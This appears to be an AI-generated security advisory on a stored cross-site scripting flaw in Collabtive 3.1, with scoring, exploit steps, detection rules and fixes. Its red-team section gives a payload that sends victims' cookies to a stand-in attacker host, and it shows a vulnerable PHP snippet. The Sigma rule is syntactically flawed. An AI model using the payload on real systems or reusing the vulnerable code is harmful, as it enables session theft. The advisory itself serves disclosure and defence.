CVE-2024-48706

Executive Summary

CVE-2024-48706 identifies a stored Cross-Site Scripting (XSS) vulnerability in Collabtive version 3.1. The flaw exists in the managemessage.php and managetask.php files, where the title parameter is not properly sanitized before being stored and later rendered in the browser. An attacker can inject arbitrary JavaScript code via the title parameter when performing action=add or action=editform operations. This can lead to session hijacking, credential theft, or defacement within the Collabtive application. No official patch has been released, and the vendor status is unknown.

Supply Chain & Package Security

Collabtive is a self-hosted PHP project management application. It is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployments of the Collabtive source code.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the malicious page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad as any unauthenticated user can inject the payload.

Deep Dive & Mechanics

The vulnerability resides in the title parameter handling within two PHP files:

1. managemessage.php – Used for adding/editing messages.
2. managetask.php – Used for adding/editing tasks.

When a user submits a form with action=add or action=editform, the title parameter is stored directly into the database without sanitization or output encoding. When the stored value is later rendered in the browser (e.g., in a list or detail view), the injected script executes in the context of the victim's session.

Attack Flow:

1. Attacker crafts a malicious URL or form submission with a payload in the title parameter, e.g., <script>alert('XSS')</script>.
2. The payload is stored in the database.
3. When an administrator or other user views the affected message or task, the script executes.
4. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Collabtive 3.1):

// In managemessage.php or managetask.php
$title = $_POST['title'];
// Directly inserted into database without sanitization
$query = "INSERT INTO messages (title) VALUES ('$title')";

Patched Code (Hypothetical):

// Sanitize input
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
// Use prepared statements
$stmt = $db->prepare("INSERT INTO messages (title) VALUES (?)");
$stmt->bind_param("s", $title);
$stmt->execute();

No official patch is available. Users must apply manual sanitization or use a Web Application Firewall (WAF).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Collabtive 3.1 instance (e.g., Docker or local setup)
• Burp Suite or browser developer tools

Step-by-Step Exploit:

1. Navigate to http://target/collabtive/managemessage.php?action=add.
2. Intercept the POST request with Burp Suite.
3. Modify the title parameter to:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Forward the request.
5. When an admin views the message, the script executes and sends the cookie to the attacker.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to managemessage.php and managetask.php for suspicious title parameters containing <script> or event handlers.
• Use WAF rules to block common XSS patterns.

Hardening:

• Apply input validation and output encoding manually.
• Use Content Security Policy (CSP) headers to mitigate script execution.
• Restrict access to admin panels via IP whitelisting.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /collabtive/managemessage.php or /collabtive/managetask.php with title containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Collabtive server.

• File IOCs:

  • Modified entries in the messages or tasks database tables containing JavaScript payloads.

• Log IOCs:

  • Web server logs showing unusual title parameter values (e.g., title=<script>alert(1)</script>).

Detection Engineering

YARA Rule

rule CVE_2024_48706_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Collabtive title parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48706"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Collabtive XSS via Title Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in Collabtive title parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'managemessage.php'
            - 'managetask.php'
        cs-uri-query|contains: 'action=add' or 'action=editform'
        cs-uri-query|contains: 'title='
    condition: selection
falsepositives:
    - Legitimate use of special characters in titles
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48706 Collabtive XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"managemessage.php"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Code Fix: Add input sanitization using htmlspecialchars() and prepared statements in managemessage.php and managetask.php.
2. WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads in the title parameter.
3. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term Actions:

• Monitor for official patches from the Collabtive project.
• Consider migrating to an actively maintained project management solution.
• Conduct regular security audits and penetration testing.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.